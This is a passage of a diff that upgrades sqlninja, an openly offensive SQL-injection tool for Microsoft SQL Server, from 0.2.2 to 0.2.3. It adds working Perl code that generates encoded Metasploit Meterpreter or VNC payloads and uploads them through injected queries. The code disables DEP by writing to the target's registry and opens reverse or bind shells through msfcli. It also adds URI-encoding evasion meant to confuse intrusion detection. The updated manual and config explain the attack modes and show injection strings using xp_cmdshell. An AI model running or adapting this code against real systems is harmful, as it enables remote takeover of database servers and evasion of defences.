Call+4 Dword XOR\n". + " 5 - Single-byte XOR Countdown\n". + " 6 - Variable-length Fnstenv/mov Dword XOR\n". + " 7 - Polymorphic Jump/Call XOR Additive Feedback\n". + " 8 - Non-Alpha\n". + " 9 - Non-Upper\n". + " 10 - Polymorphic XOR Additive Feedback\n". + " 11 - Alpha2 Alphanumeric Unicode Mixedcase\n". + " 12 - Alpha2 Alphanumeric Unicode Uppercase\n"; + while (($enc < 0) or ($enc > 12)) { + print "> "; + $enc = ; + chomp($enc); + } + my $encoder = " encoder="; + for ($enc) { + /^0$/ && do {$encoder = ""}; + /^1$/ && do {$encoder .= "x86/alpha_mixed "}; + /^2$/ && do {$encoder .= "x86/alpha_upper "}; + /^3$/ && do {$encoder .= "x86/avoid_utf8_tolower "}; + /^4$/ && do {$encoder .= "x86/call4_dword_xor "}; + /^5$/ && do {$encoder .= "x86/countdown "}; + /^6$/ && do {$encoder .= "x86/fnstenv_mov "}; + /^7$/ && do {$encoder .= "x86/jmp_call_additive "}; + /^8$/ && do {$encoder .= "x86/nonalpha "}; + /^9$/ && do {$encoder .= "x86/nonupper "}; + /^10$/ && do {$encoder .= "x86/shikata_ga_nai "}; + /^11$/ && do {$encoder .= "x86/unicode_mixed "}; + /^12$/ && do {$encoder .= "x86/unicode_upper "}; + } + + # ok... let's start the fun + # We start creating the payload executable + # We use a random name, because using the same name twice would + # create problems if the first executable is still running + my $exe = "met".int(rand()*65535); + my $command = $msfpayload." windows/".$payload."/".$conn.$encoder. + " exitfunc=process"; + if ($conn eq "bind_tcp") { + $command .= " rport=".$port." X > /tmp/".$exe.".exe"; + } else { + $command .= " lport=".$port." lhost=".$lhost." X ". + "> /tmp/".$exe.".exe"; + } + if ($verbose == 1) { + print "[v] Command: ".$command."\n"; + } + print "[+] Calling msfpayload3 to create the payload...\n"; + system ($command); + unless (-e "/tmp/".$exe.".exe") { + print "[-] Payload creation failed\n"; + exit(-1); + } + print "[+] Payload (".$exe.".exe) created. Now converting it to ". + "debug script\n"; + unless (-e "./makescr.pl") { + print "[-] makescr.pl not found\n"; + exit(-1); + } + unless (-x "./makescr.pl") { + chmod 0755, "./makescr.pl" or die "[-] Couldn't chmod ". + "makescr.pl.... exiting\n"; + } + system ("./makescr.pl -i /tmp/".$exe.".exe -o /tmp/".$exe.".scr -s"); + unless (-e "/tmp/".$exe.".scr") { + print "[-] Debug script file not created\n"; + exit(-1); + } + system ("rm /tmp/".$exe.".exe"); + upload("/tmp/".$exe.".scr"); + system ("rm /tmp/".$exe.".scr"); - my $offset = linkoffset($pcap); - my $globref = [$offset,$ninjasock]; - if ($verbose == 1) { - print " [v] Stripping ".$offset." bytes for datalink header\n"; + my $cmd; + # We might have to disable DEP for met.exe + print "[+] Checking if DEP (Data Execution Prevention) ". + "is enabled on target\n"; + $cmd = "declare \@a nvarchar(999) ". + "EXEC master..xp_regread 'HKEY_LOCAL_MACHINE',". + "'SYSTEM\\CurrentControlSet\\Control',". + "'SystemStartOptions',\@a OUTPUT ". + "if \@a like '%NOEXECUTE%' waitfor delay '0:0:".$blindtime."'"; + my $result = tryblind($cmd); + if ($result > ($blindtime - 2)) { + handledep($exe); + } else { + print "[+] No DEP detected.... good\n"; + } + + # A couple of variables to handle some delays, depending on + # who starts the connection + my $delaycli = 0; + my $delaydb = 0; + if ($conn eq "bind_tcp") { + $delaycli = 5; + } else { + $delaydb = 5; + } + # The child handles the request to the target, the parent + # calls Metasploit + my $pid = fork(); + if ($pid == 0) { + # Launch met.exe + sleep($delaydb); + $cmd = "%TEMP%\\".$exe.".exe"; + $command = createcommand($cmd); + sendrequest($command); + exit(0); } - if ($proto eq "udp") { - Net::Pcap::loop($pcap,-1,\&dmpudp,$globref); + # This is the parent + sleep($delaycli); + my $syscommand = $msfcli." multi/handler ". + "payload=windows/".$payload."/".$conn." "; + if ($conn eq "bind_tcp") { + $syscommand .= "rport=".$port." rhost=".$host2." E"; } else { - Net::Pcap::loop($pcap,-1,\&dmptcp,$globref); + $syscommand .= "lport=".$port." lhost=".$lhost." E"; } + if ($verbose == 1) { + print "[v] Execuring: ".$syscommand."\n"; + } + print "[+] Transferring control to msfcli. Have fun!\n\n"; + system($syscommand); } -# callback function for analyzing incoming tcp packets -sub dmptcp -{ - my ($globref,$header,$packet) = @_; - my ($offset,$ninjasock) = @{$globref}; - my $ip_packet = substr($packet,$offset); - my $ip = NetPacket::IP->decode($ip_packet); - my $tcp = NetPacket::TCP->decode($ip->{'data'}); - my $port = $tcp->{'dest_port'}; - my $s = IO::Socket::UNIX->new(Peer => $ninjasock, - Type => SOCK_DGRAM, - Timeout => 10); - $s->send($port); - close $s; -} - -# callback function for analyzing incoming udp packets -sub dmpudp +# Windows Server 2003 SP1+ has DEP enabled.... we need to take care of this +sub handledep() { - my ($globref,$header,$packet) = @_; - my ($offset,$ninjasock) = @{$globref}; - my $ip_packet = substr($packet,$offset); - my $ip = NetPacket::IP->decode($ip_packet); - my $udp = NetPacket::UDP->decode($ip->{'data'}); - my $port = $udp->{'dest_port'}; - my $s = IO::Socket::UNIX->new(Peer => $ninjasock, - Type => SOCK_DGRAM, - Timeout => 10); - $s->send($port); - close $s; -} + my $exe = $_[0]; + my $dep; + my $cmd; + my $result; -# Checks that ports indicated for backscan module respect the netcat syntax -# Return 0 if correct. 1 Otherwise -sub checkports() -{ - my $ports = $_[0]; - my @portarray; - my $p; - # Check that only digits, hyphens and whitespaces are entered - if ($ports !~ m/^[\d\-\s]+$/) { - return 1; + # This is the generic query to check what configuration is in place + my $depquery1 = "declare \@a nvarchar(100) ". + "EXEC master..xp_regread 'HKEY_LOCAL_MACHINE',". + "'SYSTEM\\CurrentControlSet\\Control',". + "'SystemStartOptions',\@a OUTPUT ". + "if \@a like '%"; + my $depquery2 = "%' waitfor delay '0:0:".$blindtime."'"; + + # We start with "OptOut", which should be the default + $cmd = $depquery1."OPTOUT".$depquery2; + $result = tryblind($cmd); + if ($result > ($blindtime - 2)) { + $dep = "OptOut"; } - @portarray = split(/ /,$ports); - foreach $p (@portarray) { - # Single port ? - if ($p =~ m/^(\d+)$/) { - if (($1 > 0) and ($1 < 65535)) { - next; - } else { - return 1; - } + if ($dep eq "") { + $cmd = $depquery1."OPTIN".$depquery2; + $result = tryblind($cmd); + if ($result > ($blindtime - 2)) { + $dep = "OptIn"; } - # Port range ? - elsif ($p =~ m/^(\d+)-(\d+)$/) { - if (($1 > 0) and ($2 < 65535) and ($1 <= $2)) { - next; - } else { - return 1; - } + } + if ($dep eq "") { + $cmd = $depquery1."ALWAYSON".$depquery2; + $result = tryblind($cmd); + if ($result > ($blindtime - 2)) { + $dep = "AlwaysOn"; + } else { + $dep = "AlwaysOff"; } - # None of the above... wrong - return 1; - } - return 0; + if (($dep eq "OptIn") or ($dep eq "AlwaysOff")) { + print "[+] DEP is marked as ".$dep.". We should be fine\n"; + return; + } elsif ($dep eq "AlwaysOn") { + print "[-] DEP is marked as AlwaysOn... \n". + "[-] Will try my best but don't count on it too much\n"; + } else { + print "[+] DEP is marked as OptOut...trying to disable it\n"; + } + + # Whitelist our executable + # $cmd = "exec xp_regdeletekey 'HKEY_LOCAL_MACHINE','Software\\". + # "Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Layers'"; + #sendrequest($cmd); + + my $table = "##ice".int(rand()*9999); + $cmd = "declare \@b nvarchar(999) ". + "create table ".$table." (a nvarchar(999)) ". + "insert into ".$table." exec master..".$xp_name." 'echo %TEMP%' ". + "set \@b = (select top 1 * from ".$table.")+'\\".$exe.".exe' ". + "exec master..xp_regwrite 'HKEY_LOCAL_MACHINE',". + "'Software\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Layers',". + "\@b,'REG_SZ','DisableNXShowUI' ". + "drop table ".$table; + sendrequest($cmd); + # God bless xp_regread and xp_regwrite... + # Two authentic backdoors by design } sub createcommand @@ -3201,6 +3502,32 @@ return $command; } +# Encode SQL commands into url-friendly strings +# It also perform random URI encoding evasion +sub urlencode +{ + my $s = $_[0]; + if ($verbose == 1) { + " [v] URL-encoding command\n"; + } + $s =~ s/[\t\r\n]/ /g; + + my @t = split(//,$s); + $s = ""; + foreach (@t) { + if (($evasion =~ /4/) # If random URI encoding, + and ($_ =~ /[A-Za-z0-9]/) # and it's alphanumeric + and (int(rand(3))==1)) { # we might as well encode it :) + $_=sprintf("%%%2X", ord($_)); + } else { + $_=~s/([^A-Za-z0-9])/sprintf("%%%2X", ord($1))/se; + } + $s=$s.$_; + } + return $s; +} + + # Send the request to the web server and return the results sub sendrequest { @@ -3334,17 +3661,6 @@ return $result; } -# Generate a random filename to use for UNIX sockets -# A fixed filename causes problems when a spurious file was left -# from a previous execution that exited uncleanly and the file can't -# be unlink()-ed by the current user -sub genfile -{ - my $rnd = int(rand()*65535); - my $filename = "/tmp/.ninjasocket_".$rnd; - return $filename; -} - sub usage { die < : configuration file (default: sqlninja.conf) -p : sa password -w : wordlist to use in bruteforce mode (dictionary method diff -Nru /tmp/NrexN52Y8J/sqlninja-0.2.2~ppa3/sqlninja-howto.html /tmp/rRor9tj0Fv/sqlninja-0.2.3~ppa1/sqlninja-howto.html --- /tmp/NrexN52Y8J/sqlninja-0.2.2~ppa3/sqlninja-howto.html 2008-01-20 14:28:32.000000000 +0000 +++ /tmp/rRor9tj0Fv/sqlninja-0.2.3~ppa1/sqlninja-howto.html 2008-05-25 11:19:15.000000000 +0100 @@ -7,7 +7,7 @@

Sqlninja user manual

-

rel. 0.2.2 +

rel. 0.2.3
This is the user manual of sqlninja, and you should have received it with the sqlninja tarball. Check http://sqlninja.sourceforge.net for the latest version. @@ -34,7 +34,8 @@
  • 2.8 backscan
  • 2.9 revshell
  • 2.10 dnstunnel -
  • 2.11 sqlcmd +
  • 2.11 metasploit +
  • 2.12 sqlcmd

    3. Configuration file

    @@ -70,6 +71,7 @@
  • Reverse scan in order to look for a port that can be used for a reverse shell
  • Direct and reverse shell, both TCP and UDP
  • DNS tunneled pseudoshell, when no ports are available for a bindshell
  • +
  • Metasploit wrapping, when you want to use Meterpreter or even want to get GUI access on the remote DB server
  • All of the above can be done with obfuscated SQL code, in order to confuse IDS/IPS systems
  • @@ -91,7 +93,8 @@
  • IO-Socket-SSL
  • -If something goes wrong, activating verbose output (-v option) and/or debugging (-d) should provide some hints. Developed on a Gentoo box, sqlninja has been reported to work on the following operating systems: +You will also need the Metasploit Framework 3 on your box to use the metasploit attack mode, and also a VNC client if you use the VNC payload.

    +

    If something goes wrong, activating verbose output (-v option) and/or debugging (-d) should provide some hints. Developed on a Gentoo box, sqlninja has been reported to work on the following operating systems:

    • Linux
    • FreeBSD
    • @@ -124,6 +127,7 @@
    • backscan
    • revshell
    • dnstunnel
    • +
    • metasploit
    • sqlcmd
    @@ -147,7 +151,7 @@

    2. Attack modes

    -

    Sqlninja has currently 11 attack modes. The mode to use can be specified by its name: +

    Sqlninja has currently 12 attack modes. The mode to use can be specified by its name:

    sqlninja -m upload
    @@ -171,11 +175,13 @@
  • upload netcat, using upload mode
  • if it is possible to contact the DB Server on some port, use -dirshell mode and get a direct shell
  • +dirshell mode and get a direct shell. Alternatively, if the port is TCP, use +metasploit mode to get graphical access
  • otherwise, use backscan mode to find an allowed "outbound" tcp/udp port
  • if step 7 is successful, use -revshell mode to obtain a reverse shell
  • +revshell mode to obtain a reverse shell. Alternatively, if the port is TCP, use +metasploit mode to get graphical access
  • if step 7 failed, upload dnstun.exe and start dnstunnel mode
  • @@ -352,10 +358,8 @@ This mode uploads an executable file using only GET or POST http requests to the web server, so no ftp/tftp or whatever other connections are needed. The file is uploaded in the directory specified by the server's %TEMP% variable, so that the attack works when MSSQL can't write on the default directory (which seems to be sometimes the case with MSDE). You will be prompted for the file name to upload, which must be in scr (debug.exe script) format; for your comfort, netcat.scr and dnstun.scr are already available in the scripts directory. You need to upload the former to use backscan, dirshell and revshell modes. The latter needs to be uploaded to use dnstunnel mode. You need to specify the password parameter when you do not have native sysadmin privileges (see escalation mode).

    -

    If you want to upload other toys (pwdump etc.), there are several tools to convert an executable to a debug script, but I especially like -dbgtool, that provides the most compact scripts. You might also want to compress the original executable file with -upx in order to minimize upload time and web/DB logs.

    Keep in mind that a lot of things can go wrong here: if a single line of the debug script fails to get uploaded, the executable will not be correctly generated. Therefore, at the end of the process sqlninja checks whether the executable file is there, and if it is not it also tries to figure out how many lines have been uploaded: this should provide some hints on what went wrong. For instance, in a work engagement it came out that the resulting number of lines was exactly twice the correct value, meaning that each injected query was executed twice. The trick was to create a temporary table that acted as a counter, appending the line to the script file only when the counter was even.

    +

    If you want to upload other executables, you convert them to debug scripts using makescr.pl, that you should have found in the tarball. It is a re-implementation of Jussi's great dbgtool.exe (which you can find at the address http://www.toolcrypt.org) and is capable of creating very compact scripts. Just keep in mind that since debug.exe is a 16 bit debugger you can upload executables up to 64k bytes.

    2.7 dirshell

    @@ -436,7 +440,33 @@ Msys. As always, the password parameter is to be used when we do not have native sysadmin privileges (see escalation mode).

    -

    2.11 sqlcmd +

    2.11 metasploit +

    + +

    +

      +
    • Shortcut: m
    • +
    • Parameters: none
    • +
    + +Not happy with a simple DOS prompt? Want to impress your friends with a full GUI access? If you have administrative privileges, xp_cmdshell works and you have found an allowed TCP port (either inbound or outbound), you can also use sqlninja as a wrapper for Metasploit, in order to either use Meterpreter or inject a VNC server. Think of Meterpreter as a DOS prompt but far more powerful, providing you with an almost complete control over the remote OS, including immediate access to password hashes, the possibility of changing routing tables, perform port forwarding and even more. Alternatively, if you have enough bandwidth, you can also inject a VNC server and be provided with a nice graphical access to the remote DB.

    +

    This attack mode is fully automated, and in a nutshell here's what happens: +

      +
    1. Sqlninja asks you to specify if you want to use Meterpreter or VNC, whether the connection will be direct or inverse, host/port to connect to (or local port to bind, in case of a reverse connection), and whether you want to obfuscate the shellcode in some way
    2. +
    3. Sqlninja will call msfpayload to create an appropriate executable that will act as a stager
    4. +
    5. Sqlninja will then convert it to a debug script and upload it
    6. +
    7. Since we will need to inject a DLL, we might need to disable Data Execution Prevention (aka 'DEP', enabled by default starting from Windows 2003 SP1) on the remote box. Sqlninja will try to do it for you, by accessing the registry and whitelisting our executable
    8. +
    9. Finally, Sqlninja will call msfcli to inject the needed DLL and complete the exploitation
    10. +
    +

    +

    You can watch a flash demo of this attack on the sqlninja website.

    +

    Of course, in order to use this attack mode you need to have Metasploit3 available on your box. If Metasploit executables (namely msfpayload and msfcli) are not in your path, you can specify their absolute location in the configuration file. Also, if you use the VNC mode, be sure to have a VNC client installed.

    +

    Whitelisting the executable in the registry works when DEP is set as 'OptOut' (which is the default on Windows 2003) but not when it is set as 'AlwaysOn'. +A different approach would be to avoid injecting a DLL by creating a single executable with all libraries statically linked and uploading it with netcat, or alternatively by playing with NtSetInformationProcess, +as explained by skape and skywing in +here. Future releases of sqlninja might include these options too.

    + +

    2.12 sqlcmd

    @@ -638,6 +668,14 @@ As a default, sqlninja sets evasion to zero, and no evasion technique will be used.

    Important: avoid using unnecessary obfuscation if you are using GET requests, as this might lead to URLs that are too long and that are not successfully parsed by the web server!

    +

    msfpath

    + +

    The absolute path to Metasploit executables (msfpayload and msfcli). You don't need this if they are already in your default path. For example: +

    +msfpath = /home/icesurfer/tools/framework-3.1 +
    +

    +

    3.2 Advanced options

    @@ -770,14 +808,6 @@ http://www.ngssoftware.com/research/papers/sqlinference.pdf

    -

    If you want to generate your own .scr files: -

      -
    1. Compress the executable with UPX: -http://upx.sf.net
    2. -
    3. Generate the script file with dbgtool: -http://www.toolcrypt.org
    4. -
    -

    I borrowed a few ideas from the following tools:

    • @@ -796,13 +826,14 @@
    • julie - for the discussions about DNS tunneling
    • sp0nge - for all the discussions and the coding hints
    • hobbit - for netcat, of course
    • +
    • The Metasploit development team - for.... well, obvious
    • Antonin Foller - for the original custom xp_cmdshell code
    • WarGame - for the config file generation idea and original code
    • The Spike Riders Team - see you at the snowpark, dudes !
    -Additional credits for {ideas|suggestions|patches|support} go to: -s4tan, Stefano Di Paola, Elliot Kendall, geese, nmonkee, Philippe Schaeffer, Nico Leidecker

    +Additional credits for {ideas|suggestions|patches|support|alcohol} go to: +s4tan, Stefano Di Paola, Elliot Kendall, geese, nmonkee, Philippe Schaeffer, Nico Leidecker, Angelo Dell'Aera, jussi, bambam

    4.3 Disclaimer

    diff -Nru /tmp/NrexN52Y8J/sqlninja-0.2.2~ppa3/sqlninja.conf /tmp/rRor9tj0Fv/sqlninja-0.2.3~ppa1/sqlninja.conf --- /tmp/NrexN52Y8J/sqlninja-0.2.2~ppa3/sqlninja.conf 1970-01-01 01:00:00.000000000 +0100 +++ /tmp/rRor9tj0Fv/sqlninja-0.2.3~ppa1/sqlninja.conf 2008-05-25 11:29:00.000000000 +0100 @@ -0,0 +1,127 @@ +################################### +# SQLNINJA CONFIGURATION FILE # +################################### + +# WARNING 1: options are case sensitive +# WARNING 2: don't forget to URL-encode, when needed. This applies to: +# - page +# - stringstart +# - stringend +# see sqlninja-howto.html for more information and examples + +# Host (required) +host = x.x.x.x + +# Port (optional, default: 80) +# port = 80 + +# Use SSL (yes/no/auto. Default: auto) +# ssl = yes + +# Method to use (optional, default: GET) +method = GET + +# Vulnerable page (e.g.: /dir/target.asp) +page = /dir/target.asp + +# Start of the exploit string. It must include the vulnerable parameter +# and the character sequence that allows us to start injecting commands. In +# general this means, at least: +# - an apostrophe (if the parameter is a string) +# - a semicolon (to end the original query) +# It must also include everything necessary to properly close the original +# query, like an appropriate number of closing brackets. Don't forget +# to URL-encode, where needed (e.g. spaces) +# For instance, if we consider the following TSQL command: +# exec master..xp_cmdshell 'dir c:\' +# and the string to inject is the following: +# aaa=1&bbb=x';exec+master..xp_cmdshell+'dir+c:' +# this parameter should look like this: +# stringstart = aaa=1&bbb=x'; +stringstart = param=a'; + +# If you need to add some more parameters after the vulnerable one, put +# them here (don't forget the leading "&" sign). This option can also be +# used when commenting the rest of the original query does not work and you +# need to add some SQL code instead. If this is the case, you need to set +# "appendcomment" option to "no". Don't forget the leading "&" sign and +# to URL-encode, where needed. +# e.g.: stringend = ¶m3=aaa +stringend = + +# Local host: your IP address (for backscan and revshell modes) +lhost = 192.168.1.1 + +# Interface to sniff when in backscan mode +device = eth0 + +# Evasion techniques to be used. Possible choices are: +# 1 - Query hex-encoding +# 2 - Comments as separators +# 3 - Random case +# 4 - Random URI encoding +# All techniques can be combined, so the following is legal: +# evasion = 1234 +# However, keep in mind that using too many techniques at once leads to very +# long queries, that might create problems when using GET. Default: no evasion +# evasion = 12 + +# Path to metasploit executable. Only needed if msfpayload and +# msfcli are not already in the path +msfpath = /dir1/dir2/framework-3.1 + +# Additional headers to include into the request. E.g.: +# Host: www.test.com +# Connection: close +# Cookie: ASPSESSIONID=xxxxxxxxxxxxxxxxxxxx +# Authorization: Basic yyyyyyyyyyyyyyyyyyyyy +# Important: Do not remove "--headers_start--" and "--headers_end--" +--headers_start-- +User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8 +Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 +Accept-Language: en-us,en;q=0.7,it;q=0.3 +Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 +Content-Type: application/x-www-form-urlencoded +Connection: close +--headers_end-- + +# Domain to use for dnstunnel mode +domain = sqlninja.net + +# tcpdump filter (optional) +# filter = src host x.x.x.x + +# Backscan timeout after web request conclusion (Default: 5 secs) +# timeout = 5 + +# Maximum hostname length for DNS tunnel (Max: 250 - Default: 250) +# hostnamelength = 250 + +# IP address to return to DNS queries (default: 10.255.255.254) +# resolvedip = 10.255.255.254 + +# Name of the procedure to use/create to launch commands. Default is +# "xp_cmdshell". If set to "NULL", openrowset+sp_oacreate will be used +# for each command +# xp_name = xp_cmdshell + +# Time value for the WAITFOR during inference attack of fingerprint and +# bruteforce mode. A higher value makes things slower but will yeld more +# precise results against slow targets. +# Min: 3 seconds. Max: 59 seconds. Default: 5 seconds +blindtime = 5 + +# If the remote server returns a custom error page instead of a standard +# HTTP error code (e.g. 500 Server Error), it is wise to set this value to +# some string that is present in such a page. This will help sqlninja in +# figuring out if things seem to be wrong +# errorstring = "an error has occurred" + +# By default, sqlninja appends two hyphens to the injected query in order +# to comment out any spurious SQL code. This is good and works in +# approximately 99% of the cases. However, you might want to change this +# behavior in some very specific scenarios. Change this setting only if you +# really know what you are doing, +# Possible values: yes/no +# appendcomment = yes + diff -Nru /tmp/NrexN52Y8J/sqlninja-0.2.2~ppa3/sqlninja.conf.example /tmp/rRor9tj0Fv/sqlninja-0.2.3~ppa1/sqlninja.conf.example --- /tmp/NrexN52Y8J/sqlninja-0.2.2~ppa3/sqlninja.conf.example 2008-01-20 14:32:26.000000000 +0000 +++ /tmp/rRor9tj0Fv/sqlninja-0.2.3~ppa1/sqlninja.conf.example 1970-01-01 01:00:00.000000000 +0100 @@ -1,123 +0,0 @@ -################################### -# SQLNINJA CONFIGURATION FILE # -################################### - -# WARNING 1: options are case sensitive -# WARNING 2: don't forget to URL-encode, when needed. This applies to: -# - page -# - stringstart -# - stringend -# see sqlninja-howto.html for more information and examples - -# Host (required) -host = - -# Port (optional, default: 80) -port = 80 - -# Use SSL (yes/no/auto. Default: auto) -ssl = no - -# Method to use (optional, default: GET) -method = GET - -# Vulnerable page (e.g.: /dir/target.asp) -page = - -# Start of the exploit string. It must include the vulnerable parameter -# and the character sequence that allows us to start injecting commands. In -# general this means, at least: -# - an apostrophe (if the parameter is a string) -# - a semicolon (to end the original query) -# It must also include everything necessary to properly close the original -# query, like an appropriate number of closing brackets. Don't forget -# to URL-encode, where needed (e.g. spaces) -# For instance, if we consider the following TSQL command: -# exec master..xp_cmdshell 'dir c:\' -# and the string to inject is the following: -# aaa=1&bbb=x';exec+master..xp_cmdshell+'dir+c:' -# this parameter should look like this: -# stringstart = aaa=1&bbb=x'; -stringstart = - -# If you need to add some more parameters after the vulnerable one, put -# them here (don't forget the leading "&" sign). This option can also be -# used when commenting the rest of the original query does not work and you -# need to add some SQL code instead. If this is the case, you need to set -# "appendcomment" option to "no". Don't forget the leading "&" sign and -# to URL-encode, where needed. -# e.g.: stringend = ¶m3=aaa -# stringend = - -# Local host: your IP address (for backscan and revshell modes) -lhost = 192.168.240.1 - -# Interface to sniff when in backscan mode -device = eth0 - -# Evasion techniques to be used. Possible choices are: -# 1 - Query hex-encoding -# 2 - Comments as separators -# 3 - Random case -# 4 - Random URI encoding -# All techniques can be combined, so the following is legal: -# evasion = 1234 -# However, keep in mind that using too many techniques at once leads to very -# long queries, that might create problems when using GET. Default: no evasion -# evasion = 0 - -# Additional headers to include into the request. E.g.: -# Host: www.test.com -# Connection: close -# Cookie: ASPSESSIONID=xxxxxxxxxxxxxxxxxxxx -# Authorization: Basic yyyyyyyyyyyyyyyyyyyyy -# Important: Do not remove "--headers_start--" and "--headers_end--" ---headers_start-- -User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8 -Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 -Accept-Language: en-us,en;q=0.7,it;q=0.3 -Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 -Content-Type: application/x-www-form-urlencoded -Connection: close ---headers_end-- - -# Domain to use for dnstunnel mode -domain = sqlninja.net - -# tcpdump filter (optional) -# filter = src host x.x.x.x - -# Backscan timeout after web request conclusion (Default: 5 secs) -# timeout = 5 - -# Maximum hostname length for DNS tunnel (Max: 250 - Default: 250) -# hostnamelength = 250 - -# IP address to return to DNS queries (default: 10.255.255.254) -# resolvedip = 10.255.255.254 - -# Name of the procedure to use/create to launch commands. Default is -# "xp_cmdshell". If set to "NULL", openrowset+sp_oacreate will be used -# for each command -# xp_name = xp_cmdshell - -# Time value for the WAITFOR during inference attack of fingerprint and -# bruteforce mode. A higher value makes things slower but will yeld more -# precise results against slow targets. -# Min: 3 seconds. Max: 59 seconds. Default: 5 seconds -# blindtime = 5 - -# If the remote server returns a custom error page instead of a standard -# HTTP error code (e.g. 500 Server Error), it is wise to set this value to -# some string that is present in such a page. This will help sqlninja in -# figuring out if things seem to be wrong -# errorstring = "an error has occurred" - -# By default, sqlninja appends two hyphens to the injected query in order -# to comment out any spurious SQL code. This is good and works in -# approximately 99% of the cases. However, you might want to change this -# behavior in some very specific scenarios. Change this setting only if you -# really know what you are doing, -# Possible values: yes/no -# appendcomment = yes -